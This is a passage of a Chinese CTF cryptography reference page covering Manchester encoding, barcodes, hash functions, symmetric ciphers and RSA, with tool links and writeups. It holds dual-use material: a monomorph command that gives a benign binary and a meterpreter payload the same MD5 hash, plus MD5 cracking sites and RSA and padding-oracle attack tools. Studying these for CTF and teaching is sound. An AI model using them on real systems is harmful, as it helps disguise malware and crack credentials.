相比,曼彻斯特编码提供一种同步机制,保证发送端与接收端信号同步. - 缺点 曼彻斯特编码的频率要比NRZ高一倍,传输等量数据所需的带宽大一倍 曼彻斯特编码表示0或1有两种不同的方法: 第一种G. E. Thomas, Andrew S. Tanenbaum1949年提出的,它规定0是由低-高的电平跳变表示,1是高-低的电平跳变。按此规则有: * 编码0101(即0x5),表示原数据为00; * 编码1001(0x9)表示10; * 编码0110(0x6)表示01; * 编码1010(0xA)表示11。 第二种IEEE 802.4(令牌总线)和低速版的IEEE 802.3(以太网)中规定, 按照这样的说法, 低-高电平跳变表示1, 高-低的电平跳变表示0。 * 编码0101(0x5)表示11; * 编码1001(0x9)表示01; * 编码0110(0x6)表示10; * 编码1010(0xA)表示00; (根据802.3中规定编码方式)从接收的编码位中提取原始数据: <table style="text-align:center;"> <tr><th>原始数据</th><th></th><th>时钟</th><th></th><th>曼彻斯特值</th></tr><tr><td rowspan="2">0</td><td rowspan="4">=</td><td>0</td><td rowspan="4">XOR <br />⊕</td><td>0</td></tr><tr><td>1</td><td>1</td></tr><tr><td rowspan="2">1</td><td>0</td><td>1</td></tr><tr><td>1</td><td>0</td></tr></table> 总结: - 每个比特发送时间恒定("周期"). - 0用低至高转换表示,1用高到低转换表示(根据G.E. Thomas方式—IEEE 802.3方式与之相反). - 表示0或1的转换出现在周期的中点. - 周期开始的转换不表示数据. **相关文章** - [曼彻斯特编码](https://zh.wikipedia.org/wiki/%E6%9B%BC%E5%BD%BB%E6%96%AF%E7%89%B9%E7%BC%96%E7%A0%81) - [crypto 曼彻斯特编码](https://blog.csdn.net/Yu_csdnstory/article/details/102975604) - [crypto之曼彻斯特编码](https://mp.weixin.qq.com/s/wSDmE5JjSSwQtAuzf8sypA) **在线工具** - https://eleif.net/manchester.html --- ### 图片码 条形码或称条码(barcode)是将宽度不等的多个黑条和空白,按照一定的编码规则排列,用以表达一组信息的图形标识符。常见的条形码是由反射率相差很大的黑条(简称条)和白条(简称空)排成的平行线图案。条形码可以标出物品的生产国、制造厂家、商品名称、生产日期、图书分类号、邮件起止地点、类别、日期等信息,因而在商品流通、图书管理、邮政管理、银行系统等许多领域都得到了广泛的应用。 要将按照一定规则编译出来的条形码转换成有意义的信息,需要经历扫描和译码两个过程。物体的颜色是由其反射光的类型决定的,白色物体能反射各种波长的可见光,黑色物体则吸收各种波长的可见光,所以当条形码扫描器光源发出的光在条形码上反射后,反射光照射到条码扫描器内部的光电转换器上,光电转换器根据强弱不同的反射光信号,转换成相应的电信号。根据原理的差异,扫描器可以分为光笔、CCD、激光三种。电信号输出到条码扫描器的放大电路增强信号之后,再送到整形电路将模拟信号转换成数字信号。白条、黑条的宽度不同,相应的电信号持续时间长短也不同。然后译码器通过测量脉冲数字电信号0、1的数目来判别条和空的数目,通过测量0、1信号持续的时间来判别条和空的宽度。此时所得到的数据仍然是杂乱无章的,要知道条形码所包含的信息,则需根据对应的编码规则(例如:EAN-8码),将条形符号换成相应的数字、字符信息。最后,由计算机系统进行数据处理与管理,物品的详细信息便被识别了。 #### 线性条形码 第一代,“一维”的条码是由线条和空间的各种宽度,创建特定的模式。 **相关工具** - [免费在线条码生成器](https://barcode.tec-it.com/zh) - http://tiaoxingma.wiicha.com/ --- #### 二维码 **在线制作/识别二维码工具** - http://tool.chinaz.com/qrcode/ - http://jiema.wwei.cn/ - https://cli.im/ - https://www.beaconstac.com/qr-code-generator **二维码分析与恢复工具包** - [Merricx/qrazybox](https://github.com/Merricx/qrazybox) - 在线使用 : https://merricx.github.io/qrazybox/ ##### PDF147 PDF417条码是二维码的一种。由台湾赴美王寅君(Wang, Ynjiun P.)博士于1992年底在美国符号科技公司(Symbol Technologies, Inc.)发明。现收录入ISO 15438国际标准。 PDF417条码是一种高密度、高信息含量的便携式数据文件,是实现证件及卡片等大容量、高可靠性信息自动存储、携带并可用机器自动识读的理想手段。可以用传统的线性扫码器(linear scanner)识别;而二维码需要图像传感器成像才能识别。 PDF417编码 由3到90行组成,每一行都类似于小的线性编码,并有如下内容: - 分割区:这个区域包含了编码开始前的空格 - [起始标识]PDF417起始识别编码 - [数据左标]本行的设定信息(如行号,纠错等级) - [数据]1到30个数据码字:码字是一组代表一个或多个字符的小黑条和空格 - [数据右标]包含本行的其他信息 - [结束标识] - 分割区(quiet zone):在条码上下左右都要有空白区域。 每行都是同样的宽度,每行都有同样数量的码字。每个PDF417的码字(code word)的长度都为17个单位,包含了长度不等的4个黑色区域(bar)与4个白色区域(space),单个区域的长度不得超过6个单位。故得名417。标准规定,宽度单位的下限为0.0075英寸(约0.191毫米)。每个码字基于929编码,即码值为0-928。每个码字以bar开始,以space结束。有三套不同的码字编码,称作clusters,分别标记为0,3,6。各行依次采用一套cluster,依次循环,即:第1行使用cluster 0, 第2行使用cluster 3, 第3行使用cluster 6, 第4行又使用cluster 0,依次类推。 **在线工具** - [ZXing Decoder Online](https://zxing.org/w/decode.jspx) - [Free Online Barcode Generator](https://www.barcodesinc.com/generator/index.php?redirect=welcome-raco-customers) --- ##### 汉信码 汉信码是一种矩阵式二维条码。从形状上,它呈正方向、有深色和浅色数据模块分布其间。汉信码的研发始于2003年,并于2005年年末完成。 **在线识别汉信码工具** - http://www.efittech.com/hxdec.html --- ## 哈希&摘要&散列 Hash,一般翻译做散列、杂凑,或音译为哈希,是把任意长度的输入(又叫做预映射pre-image)通过散列算法变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射,也就是,散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出,所以不可能从散列值来确定唯一的输入值。简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。 将数据(如一段文字)运算变为另一固定长度值,是散列算法的基础原理。 ### BCrypt Bcrypt 是一种跨平台的文件加密工具。Bcrypt 使用的是布鲁斯 · 施内尔在 1993 年发布的 Blowfish 加密算法。由它加密的文件可在所有支持的操作系统和处理器上进行转移。它的口令必须是 8 至 56 个字符,并将在内部被转化为 448 位的密钥。 Bcrypt 就是一款加密工具,可以比较方便地实现数据的加密工作。你也可以简单理解为它内部自己实现了随机加盐处理。使用 Bcrypt,每次加密后的密文是不一样的。 对一个密码,Bcrypt 每次生成的 hash 都不一样,那么它是如何进行校验的? 虽然对同一个密码,每次生成的 hash 不一样,但是 hash 中包含了 salt(hash 产生过程:先随机生成 salt,salt 跟 password 进行 hash); 在下次校验时,从 hash 中取出 salt,salt 跟 password 进行 hash;得到的结果跟保存在 DB 中的 hash 进行比对。 BCrypt 算法将 salt 随机并混入最终加密后的密码,验证时也无需单独提供之前的 salt,从而无需单独处理 salt 问题。 加密后的格式一般为: ``` $2a$10$/bTVvqqlH9UiE0ZJZ7N2Me3RIgUCdgMheyTgV0B4cMCSokPa.6oCa 其中:$ 是分割符,无意义;2a 是 bcrypt 加密版本号;10 是 cost 的值;而后的前 22 位是 salt 值;再然后的字符串就是密码的密文了。 ``` **相关文章** - [算法高级(22)-BCrypt加密算法,号称目前最安全的算法之一](https://blog.csdn.net/m0_37609579/article/details/100785947) **在线工具** - https://bcrypt-generator.com/ ### MD5 MD5消息摘要算法(英语:MD5 Message-Digest Algorithm),一种被广泛使用的密码散列函数,可以产生出一个128位(16字节)的散列值(hash value),用于确保信息传输完整一致。MD5由美国密码学家罗纳德·李维斯特(Ronald Linn Rivest)设计,于1992年公开,用以取代MD4算法。这套算法的程序在 RFC 1321 中被加以规范。 一般128位的MD5散列被表示为32位十六进制数字。以下是一个43位长的仅ASCII字母列的MD5散列: ``` MD5("The quick brown fox jumps over the lazy dog")= 9e107d9d372bb6826bd81d3542a419d6 ``` 即使在原文中作一个小变化(比如用 c 取代 d)其散列也会发生巨大的变化: ``` MD5("The quick brown fox jumps over the lazy cog")= 1055d3e698d289f2af8663725127bd4b ``` 空文的散列为: ``` MD5("")= d41d8cd98f00b204e9800998ecf8427e ``` **相关文章** - [MD5](https://zh.wikipedia.org/wiki/MD5#cite_note-1) - [md5(unix)原理分析](https://www.leavesongs.com/PENETRATION/about-hash-password.html) - [一个文件变出六种格式?它比"格式工厂"厉害多了](https://www.pingwest.com/a/185806) - [MD5碰撞的一些例子](https://www.jianshu.com/p/c9089fd5b1ba) **在线工具** - https://md5.navisec.it/ - https://www.somd5.com/ - https://www.somd5.com/batch.html - https://www.md5online.org/ - http://md5.tellyou.top/ - http://www.cmd5.com/ - http://hashcrack.com/ - https://md5.gromweb.com/ - http://tool.chinaz.com/Tools/MD5.aspx - https://cmd5.la/ - http://pmd5.com/ - http://www.ttmd5.com/ - http://www.xmd5.org/ - https://crackstation.net/ - http://www.md5this.com/index.php - https://md5online.org/ - http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php - https://md5.la/ - https://md5.cc/ - https://pmd5.com/ **相关工具** ``` md5sum xxx.txt ``` #### hash 碰撞 **fastcoll** 下载地址 - http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip 创建一个文本文件,写入任意的文件内容,命名为 test.txt(源文件) 运行 fastcoll 输出以下参数。-p 是源文件,-o 是输出文件 ``` fastcoll_v1.0.0.5.exe -p test.txt -o 1.txt 2.txt ``` 对生成的 1.txt 和 2.txt 文件进行测试 ```php <?php function readmyfile($path){ $fh = fopen($path, "rb"); $data = fread($fh, filesize($path)); fclose($fh); return $data; } echo '二进制md5加密 '. md5( (readmyfile("1.txt"))); echo "</br>"; echo 'url编码 '. urlencode(readmyfile("1.txt")); echo "</br>"; echo '二进制md5加密 '.md5( (readmyfile("2.txt"))); echo "</br>"; echo 'url编码 '. urlencode(readmyfile("2.txt")); echo "</br>"; ``` ``` 二进制md5加密 b8c21b7bfde6adea3a438f22e6672789 url编码 test%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00F%D5%E6R%C99%14%F3%95p%D0f%C9%17%90%1D%2C%27%5Bn_%F2%16%DAV%FA9%7Dj%0C%09%E5%BF%C3%C9%E0%DC%E58K%8B%10%EA%A2%EF_%BC%60%27%B2%A1%D9_%FF%E6%B78%8C%9F%5Ck6%EF%89N%D1%013%19%03%BAb%BB%9F.%9B%E7%7CPd%23%A3%C8S8%1C%02%D9%09%B3%107%2B%60%88%D7%D7%F3pD%AFBL%F4y%3CH%9B%94%9C%F6%3E%60u%D2%9Cf%1F%3B%EF%B3M%C6%88%ABS%19%2C 二进制md5加密 b8c21b7bfde6adea3a438f22e6672789 url编码 test%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00F%D5%E6R%C99%14%F3%95p%D0f%C9%17%90%1D%2C%27%5B%EE_%F2%16%DAV%FA9%7Dj%0C%09%E5%BF%C3%C9%E0%DC%E58K%8B%10%EA%A2%EF%DF%BC%60%27%B2%A1%D9_%FF%E6%B78%8C%9F%DCk6%EF%89N%D1%013%19%03%BAb%BB%9F.%9B%E7%7CPd%23%A3%C8%D38%1C%02%D9%09%B3%107%2B%60%88%D7%D7%F3pD%AFBL%F4y%3CH%9B%94%1C%F6%3E%60u%D2%9Cf%1F%3B%EF%B3M%C6%08%ABS%19%2C ``` 可以看到,1.txt 和 2.txt 文件二进制 md5 加密后的结果完全相同。 **monomorph** - https://github.com/DavidBuchanan314/monomorph ```bash git clone https://github.com/DavidBuchanan314/monomorph.git cd monomorph python3 monomorph.py bin/monomorph.linux.x86-64.benign bin/monomorph.linux.x86-64.meterpreter sample_payloads/bin/linux.x64.meterpreter.bind_tcp.bin ``` --- ### RIPEMD RIPEMD (RACE 原始完整性校验讯息摘要)是一种加密哈希函数,发布于1996年。 RIPEMD 是以 MD4 为基础原则所设计的 ,而且其表现与更有名的 SHA-1 类似. 同时也存在着128,256-320位元的这种算法,称为 RIPEMD-128,RIPEMD-256 和 RIPEMD-320。 128位版本的用意仅是取代原始版 RIPEMD,因为原版也同样是128位元,并且被发现有潜在的安全问题。 而256和320位版本只有减少碰撞发生的机率,但没有提升安全等级(以 preimage 举例)。不过,RIPEMD 的设计者们没有真正设计256和320位元这2种标准,他们只是在128位元和160位元的基础上,修改了初始参数和 s-box 来达到输出为256和320位元。所以,256位的强度和128相当,而320位的强度和160位相当。且 RIPEMD 建立在 md 的基础之上,所以其添加数据的方式和 md5 完全一样。 #### RIPEMD-160 RIPEMD-160 是以原始版 RIPEMD 所改进的 160 位元版本,而且是 RIPEMD 系列中最常见的版本。 RIPEMD-160 是设计给学术社群所使用的,刚好相对于 NSA 所设计 SHA-1 和 SHA-2 算法。 另一方面,RIPEMD-160 比 SHA-1 较少使用,所以可能造成 RIPEMD-160 比 SHA 还不常被审查。另外,RIPEMD-160 并没有任何专利所限制。 160位元的 RIPEMD-160 哈希值是以40位的十六进制所表示。 下面表明了43字节 ASCII 码的输入与其对应的 RIPEMD-160 哈希值: ``` RIPEMD-160("The quick brown fox jumps over the lazy dog") = 37f332f68db77bd9d7edd4969571ad671cf9dd3b ``` RIPEMD-160 能表现出理想的 雪崩效应 (例如将 d 改成 c,即微小的变化就能产生一个完全不同的哈希值): ``` RIPEMD-160("The quick brown fox jumps over the lazy cog") = 132072df690933835eb8b6ad0b77e7b6f14acad7 ``` 0字串长度的哈希值表示为: ``` RIPEMD-160("") = 9c1185a5c5e9fc54612808977ee8f548b2258d31 ``` **相关文章** - [RIPEMD](https://zh.wikipedia.org/wiki/RIPEMD) **在线工具** - http://www.convertstring.com/zh_CN/Hash/RIPE_MD160 --- ### SHA **SHA1 碰撞** - [SHAttered](https://shattered.io/) - [SHA1 collider](https://alf.nu/SHA1) **在线工具** - [SHA1哈希 - 在线SHA1散列发生器](http://www.convertstring.com/zh_CN/Hash/SHA1) - [SHA256哈希 - 在线SHA256哈希发生器](http://www.convertstring.com/zh_CN/Hash/SHA256) - [SHA384哈希 - 在线SHA384哈希发生器](http://www.convertstring.com/zh_CN/Hash/SHA384) - [SHA512哈希 - 在线SHA512哈希发生器](http://www.convertstring.com/zh_CN/Hash/SHA512) - [Sha256 Algorithm Explained](https://sha256algorithm.com/) #### HmacSHA1 **在线工具** - [HmacSHA1算法加密计算器](https://www.jisuan.mobi/pmbN3zbN3H6uBXSU.html) --- ## 现代密码 **相关文章** - [安全体系(一)—— DES算法详解](https://www.cnblogs.com/songwenlong/p/5944139.html) - [安全体系(零)—— 加解密算法、消息摘要、消息认证技术、数字签名与公钥证书](http://www.cnblogs.com/songwenlong/p/6517165.html) - [Blowfish (密码学) - 维基百科,自由的百科全书](https://zh.wikipedia.org/wiki/Blowfish_(%E5%AF%86%E7%A0%81%E5%AD%A6)) - [朝鲜红星操作系统加密算法解析](http://www.4hou.com/technology/12487.html) - [这些hash你了解吗?](http://www.myh0st.cn/index.php/archives/304/) **在线工具** - http://www.mxcz.net/tools/MD5.aspx - http://tool.oschina.net/encrypt/ - http://encode.chahuo.com/ - http://tool.chacuo.net/cryptdes - https://hashtoolkit.com/ --- ### 对称性加密算法 对称密钥算法(英语:Symmetric-key algorithm)又称为对称加密、私钥加密、共享密钥加密,是密码学中的一类加密算法。这类算法在加密和解密时使用相同的密钥,或是使用两个可以简单地相互推算的密钥。事实上,这组密钥成为在两个或多个成员间的共同秘密,以便维持专属的通信联系。与公开密钥加密相比,要求双方获取相同的密钥是对称密钥加密的主要缺点之一。 对称加密的速度比公钥加密快很多,在很多场合都需要对称加密。 #### AES 高级加密标准(英语:Advanced Encryption Standard,缩写:AES),在密码学中又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。这个标准用来替代原先的DES,已经被多方分析且广为全世界所使用。经过五年的甄选流程,高级加密标准由美国国家标准与技术研究院(NIST)于2001年11月26日发布于FIPS PUB 197,并在2002年5月26日成为有效的标准。现在,高级加密标准已然成为对称密钥加密中最流行的算法之一。 AES 加密的模式主要有五种:ECB (电子密码本模式)、CBC(密码分组连接模式)、CTR(计算器模式)、CFB(密码反馈模式)、OFB (输出反馈模式)。这五种工作模式主要是在加密器的使用上有所区别。 **ECB 模式** 其使用方式是一个明文分组加密成一个密文分组,相同的明文分组永远被加密成相同的密文分组。直接利用加密算法分别对每个 64 位明文分组使用相同的 64 位密钥进行加密。每个明文分组的处理是相互独立的。 - 优点: - 简单。 - 有利于并行计算。 - 缺点: - 相同的明文块会加密成相同的密文块,安全性低。 **CBC 模式** 引入一个初始向量 IV,它的作用跟 MD5 加盐有些类似,可以防止相同的明文块加密成同样的密文块。IV 是初始向量,参与第一个明文块的异或,后续的每一个明文块,都与它前一个密文块相异或。这样就能保证相同的明文块不会被加密为相同的密文块。 - 优点:能隐蔽明文的数据模式,在某种程度上能防止数据篡改, 诸如明文组的重放,嵌入和删除等,安全性高。 - 缺点:无法并行计算,性能相对 ECB 低,会出现错误传播(errorpropagation)。 **在线工具** - [AES Encryption Easily encrypt or decrypt strings or files](http://aes.online-domain-tools.com/) - [在线AES加密解密、AES在线加密解密、AES encryption and decryption--查错网](http://tool.chacuo.net/cryptaes) - http://tool.chinaz.com/Tools/textencrypt.aspx - https://tool.oschina.net/encrypt/ **tips** - 加密数据存在 `U2Fsd` 头,可能是 aes 加盐 ##### Padding Oracle **相关文章** - [Padding Oracle原理深度解析&CBC字节翻转攻击原理解析](https://mp.weixin.qq.com/s/OtGw-rALwpBkERfvqdZ4kQ) **相关工具** - [AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) - Automated script for performing Padding Oracle attacks --- #### DES 数据加密标准(英语:Data Encryption Standard,缩写为 DES)是一种对称密钥加密块密码算法,1976年被美国联邦政府的国家标准局确定为联邦资料处理标准(FIPS),随后在国际上广泛流传开来。它基于使用56位密钥的对称算法。这个算法因为包含一些机密设计元素,相对短的密钥长度以及怀疑内含美国国家安全局(NSA)的后门而在开始时有争议,DES因此受到了强烈的学院派式的审查,并以此推动了现代的块密码及其密码分析的发展。 在某些文献中,作为算法的DES被称为DEA(Data Encryption Algorithm,数据加密算法),以与作为标准的DES区分开来。 **在线工具** - [DES加密、DES解密 - 在线工具](https://oktools.net/des) - [CTF在线工具-DES在线加解密|DES在线加密|DES在线解密|DES encryption|DES decryption](http://ctf.ssleye.com/cdes.html) --- ##### 3DES 密码学中,三重数据加密算法(英语:Triple Data Encryption Algorithm,缩写为TDEA,Triple DEA),或称3DES(Triple DES),是一种对称密钥加密块密码,相当于是对每个数据块应用三次资料加密标准(DES)算法。由于计算机运算能力的增强,原版DES由于密钥长度过低容易被暴力破解;3DES即是设计用来提供一种相对简单的方法,即通过增加DES的密钥长度来避免类似的攻击,而不是设计一种全新的块密码算法。 **在线工具** - [在线3DES加密解密、3DES在线加密解密、3DES encryption and decryption](http://tool.chacuo.net/crypt3des) --- #### RC4 在密码学中,RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。RC4是有线等效加密(WEP)中采用的加密算法,也曾经是TLS可采用的算法之一。 由美国密码学家罗纳德·李维斯特(Ronald Rivest)在1987年设计的。由于RC4算法存在弱点,2015年2月所发布的 RFC 7465 规定禁止在TLS中使用RC4加密算法。 RC4由伪随机数生成器和异或运算组成。RC4的密钥长度可变,范围是[1,255]。RC4一个字节一个字节地加解密。给定一个密钥,伪随机数生成器接受密钥并产生一个S盒。S盒用来加密数据,而且在加密过程中S盒会变化。 由于异或运算的对合性,RC4加密解密使用同一套算法。 **相关文章** - [RC4](https://zh.wikipedia.org/wiki/RC4) **在线工具** - https://www.sojson.com/encrypt_rc4.html - http://tool.chacuo.net/cryptrc4 --- #### TEA **在线工具** - http://www.atoolbox.net/Tool.php?Id=861 --- #### Xtea **在线工具** - http://tool.chacuo.net/cryptxtea --- #### Serpent **在线工具** - http://serpent.online-domain-tools.com/ --- #### BlowFish **相关文章** - [BlowFish加解密原理与代码实现](https://cloud.tencent.com/developer/article/1836650) --- ### 非对称性加密算法 公开密钥密码学(英语:Public-key cryptography)也称非对称式密码学(英语:Asymmetric cryptography)是密码学的一种算法,它需要两个密钥,一个是公开密钥,另一个是私有密钥;公钥用作加密,私钥则用作解密。使用公钥把明文加密后所得的密文,只能用相对应的私钥才能解密并得到原本的明文,最初用来加密的公钥不能用作解密。由于加密和解密需要两个不同的密钥,故被称为非对称加密;不同于加密和解密都使用同一个密钥的对称加密。公钥可以公开,可任意向外发布;私钥不可以公开,必须由用户自行严格秘密保管,绝不透过任何途径向任何人提供,也不会透露给被信任的要通信的另一方。 基于公开密钥加密的特性,它还能提供数字签名的功能,使电子文件可以得到如同在纸本文件上亲笔签署的效果。 公开密钥基础建设透过信任数字证书认证机构的根证书、及其使用公开密钥加密作数字签名核发的公开密钥认证,形成信任链架构,已在 TLS 实现并在万维网的 HTTP 以 HTTPS、在电子邮件的 SMTP 以 SMTPS 或 STARTTLS 引入。 另一方面,信任网络则采用去中心化的概念,取代了依赖数字证书认证机构的公钥基础设施,因为每一张电子证书在信任链中最终只由一个根证书授权信任,信任网络的公钥则可以累积多个用户的信任。PGP 就是其中一个例子。 #### RSA **相关文章** - [RSA算法原理(一)](http://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html) - [RSA算法原理(二)](http://www.ruanyifeng.com/blog/2013/07/rsa_algorithm_part_two.html) - [RSA史上最强剖析,从小白变大神,附常用工具使用方法及CTF中RSA典型例题](http://www.freebuf.com/sectool/163781.html) - [扩展欧几里得算法](https://zh.wikipedia.org/wiki/%E6%89%A9%E5%B1%95%E6%AC%A7%E5%87%A0%E9%87%8C%E5%BE%97%E7%AE%97%E6%B3%95) - [CTF-RSA总结](https://forum.butian.net/share/478) - [CTF中的RSA 算法](https://www.cnblogs.com/NPFS/p/13383625.html) - [RSA算法详解与练习](http://www.atkx.top/2020/10/04/RSA%E7%AE%97%E6%B3%95%E8%AF%A6%E8%A7%A3%E4%B8%8E%E7%BB%83%E4%B9%A0/) - [【技术分享】CTF中RSA的常见攻击方法](https://www.anquanke.com/post/id/84632) - [RSA 私钥恢复和最优非对称加密填充](https://www.40huo.cn/blog/rsa-private-key-recovery-and-oaep.html) - [CTF中常见的RSA相关问题总结[转]](https://willv.cn/2018/07/21/RSA-ATTACK/) - [[原创]CTF中RSA的一些攻击思路](https://bbs.pediy.com/thread-254252.htm) - [CTF中的RSA及攻击方法笔记](https://www.freebuf.com/articles/web/257835.html) - [CTF密码学之RSA攻击算法](https://mp.weixin.qq.com/s/sBeUUx0SNWB5HPfVCpxu5g) - [CTF中RSA套路](https://err0rzz.github.io/2017/11/14/CTF%E4%B8%ADRSA%E5%A5%97%E8%B7%AF/) - [RSA算法基础详解](https://www.cnblogs.com/hykun/p/RSA.html) - [RSA算法原理——(3)RSA加解密过程及公式论证](https://blog.csdn.net/u014044812/article/details/80866759) - [深入浅出RSA在CTF中的攻击套路](https://xz.aliyun.com/t/6459) **相关工具** - [SageMath](https://mirrors.tuna.tsinghua.edu.cn/sagemath/linux/64bit/index.html) - [Sage Cell Server](https://sagecell.sagemath.org/) - 在线 Sagemath - [factordb](http://www.factordb.com/) - 在线分解质因数, 通常用于分解 n 得到 p q - [ryosan-470/factordb-python](https://github.com/ryosan-470/factordb-python) - 命令行分解 ```bash pip install factordb-python factordb 16 ``` - [yafu](https://sourceforge.net/projects/yafu/) - 在 p,q 的取值差异过大,或者 p,q 的取值过于相近的时候,Format 方法与 Pollard rho 方法都可以很快将 n 分解成功。yafu 将其自动化实现了 ```bash yafu "factor(82748279383502845283943271120712436408030814624973629060064917325126552245423)" # 如果数比较大,那就需要将数保存成一个txt,然后使用 # 注意: # 1. n 为十进制 # 2. txt文件结尾必须有一个换行符 # 3. 该命令会删除这个txt,注意保存 yafu-x64.exe "factor(@)" -batchfile 1.txt ``` - [在线Rsa 公私钥分解 Exponent、Modulus,Rsa公私钥指数、系数(模数)分解](http://tool.chacuo.net/cryptrsakeyparse) - 在线解析加密公钥|私钥格式 - RSAtool 2 - [Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) ```bash # 提取公钥 python3 RsaCtfTool.py --dumpkey --key pubkey.pem ``` - [ius/rsatool](https://github.com/ius/rsatool) ```bash git clone https://github.com/ius/rsatool.git cd rsatool python rsatool.py -f PEM -o private.pem -p 1234567 -q 7654321 # 生成私钥 ``` - openssl ```bash # 使用openssl解析公钥 openssl rsa -text -modulus -pubin -in public.pem # 使用openssl解析私钥 openssl rsa -text -modulus -in private.pem # 解密 openssl rsautl -decrypt -inkey private.pem -in flag.enc -out flag # 给出了私钥文件private.pem和flag.en,解密密文 opensslrsautl -decrypt -in flag.enc(密文名称) -inkey private.pem # 使用openssl加密 openssl rsautl -encrypt -in flag.txt -inkey public.pem -pubin -out cipher.txt ``` - [ablocelayes/rsa-wiener-attack](https://github.com/pablocelayes/rsa-wiener-attack) - [3summer/CTF-RSA-tool](https://github.com/3summer/CTF-RSA-tool) - [Integer factorization calculator](https://www.alpertron.com.ar/ECM.HTM) **相关资源** - [kur0mi/CTF-RSA](https://github.com/kur0mi/CTF-RSA) - [Zui-Qing-Feng/RSA](https://github.com/Zui-Qing-Feng/RSA) - [yifeng-lee/RSA-In-CTF](https://github.com/yifeng-lee/RSA-In-CTF) - [findneo/RSA-ATTACK](https://github.com/findneo/RSA-ATTACK) **Writeup** - [RSA的dp泄露 —— 【WUST-CTF2020】leak](https://blog.csdn.net/qq_42939527/article/details/105202716) - [CTF-RSA1(已知p、q、dp、dq、c)](https://blog.csdn.net/qq_32350719/article/details/102719279) - [[BJDCTF2020]RSA ==>低加密指数攻击](https://blog.csdn.net/LYJ20010728/article/details/110453049) - [BUUCTF Crypto [BJDCTF2020]RSA wp](https://blog.csdn.net/weixin_44017838/article/details/104990164) - [[BJDCTF2020]RSA](https://www.codeleading.com/article/68565028999/) - [[BUUCTF]Dangerous RSA ->低加密指数攻击](https://blog.csdn.net/weixin_45859850/article/details/109785669) - [[BUUCTF]rsa2 低解密指数攻击](https://blog.csdn.net/weixin_45859850/article/details/109865307) - [buu [BJDCTF 2nd]rsa0](https://blog.csdn.net/ao52426055/article/details/110366309) - [CTF-BUUCTF-CRPTO-[BJDCTF 2nd]rsa1 1](https://blog.csdn.net/weixin_43880435/article/details/106386942) - [buu [HDCTF2019]bbbbbbrsa](https://blog.csdn.net/ao52426055/article/details/110424785) - [Buuctf RSA 题目总结](https://blog.csdn.net/Ahuuua/article/details/109190848) - [BUUCTF RSA题目全解](https://www.codenong.com/cs105967809/) - [[BJDCTF2020]easyrsa](https://blog.csdn.net/weixin_44110537/article/details/107214569) - [BUUCTF RSA题目全解2](https://blog.csdn.net/MikeCoke/article/details/107206707) - [RoarCTF2019 babyRSA](https://www.cnblogs.com/vict0r/p/13563073.html) - [BUUCTF RSA题目全解3](https://blog.csdn.net/MikeCoke/article/details/107973068) - [NPUCTF2020 EzRSA](https://www.cnblogs.com/vict0r/p/13723450.html) - [BUUCTF RSA题目全解4](https://blog.csdn.net/MikeCoke/article/details/108540699) - [RSA 中根据 (N, e, d) 求 (p, q)](https://blog.csdn.net/ayang1986/article/details/112714749) - [掘安杯-Crypto:RSA脚本一把梭 (模不互素)](https://shawroot.hatenablog.com/entry/2019/12/03/%E6%8E%98%E5%AE%89%E6%9D%AF-Crypto%3ARSA%E8%84%9A%E6%9C%AC%E4%B8%80%E6%8A%8A%E6%A2%AD_%28%E6%A8%A1%E4%B8%8D%E4%BA%92%E7%B4%A0%29) - [CTF RSA题解集](https://www.ruanx.net/rsa-solutions/) - [CTFtime.org / picoCTF 2018 / Super Safe RSA 3 / Writeup](https://ctftime.org/writeup/11608) - [BUUCTF-CRYPTO-强网杯2019 Copperstudy](https://www.codenong.com/cs109409929/) - [2019强网杯 - 密码学-RSA-Coppersmith](https://blog.csdn.net/q851579181q/article/details/90645041) - [N1CTF 2019 - Part3-BabyRSA](http://duksctf.github.io/2019/09/08/N1CTF2019-Part3-BabyRSA.html) - [N1CTF 2019: BabyRSA](https://garygurlaskie.com/ctf/2019/09/07/n1ctf-babyrsa.html) - [BUUCTF--[INSHack2017]rsa16m](https://www.cnblogs.com/Sentry-InkCity/p/15332492.html) - [虎符ctf2020 crypto GM](http://39.106.50.81/index.php/archives/9/) - [BUUCTF 强网杯2019 Copperstudy](https://blog.csdn.net/walker_feng/article/details/108889696) - [BUUCTF 每日打卡 2021-8-3](https://blog.csdn.net/weixin_52446095/article/details/119355363) - [[RoarCTF2019]babyRSA-阶乘取模(威尔逊定理)](https://blog.csdn.net/weixin_45859850/article/details/111462791) **Tips** - e 的一般为(如果题目里没给你) 65537(0x10001) --- ### 国密 国密即国家密码局认定的国产密码算法。主要有SM1,SM2,SM3,SM4。密钥长度和分组长度均为128位。 **相关工具** - [tjfoc/gmsm: GM SM2/3/4 library based on Golang (基于Go语言的国密SM2/SM3/SM4算法库)](https://github.com/tjfoc/gmsm) - [JuneAndGreen/sm-crypto: 国密算法js版](https://github.com/JuneAndGreen/sm-crypto) - [PopezLotado/SM2Java: 国密SM2,SM3 Java实现](https://github.com/PopezLotado/SM2Java) - [NEWPLAN/SMx: 国家商用加密算法 SMx(SM2,SM3,SM4)](https://github.com/NEWPLAN/SMx) - C 的实现 - [algorithmNation:国密算法 SM2加解密 SM2 SM3 SM4签名验签](https://gitee.com/xshuai/algorithmNation) - [ZZMarquis/gmhelper:基于BC库:国密SM2/SM3/SM4算法简单封装;实现SM2 X509v3证书的签发;实现SM2 pfx证书的签发 ](https://github.com/ZZMarquis/gmhelper) - [gotoworld/hsd-cipher-sm](https://github.com/gotoworld/hsd-cipher-sm) - JAVA 国产密码算法 SM2,SM3,SM4 实现 - 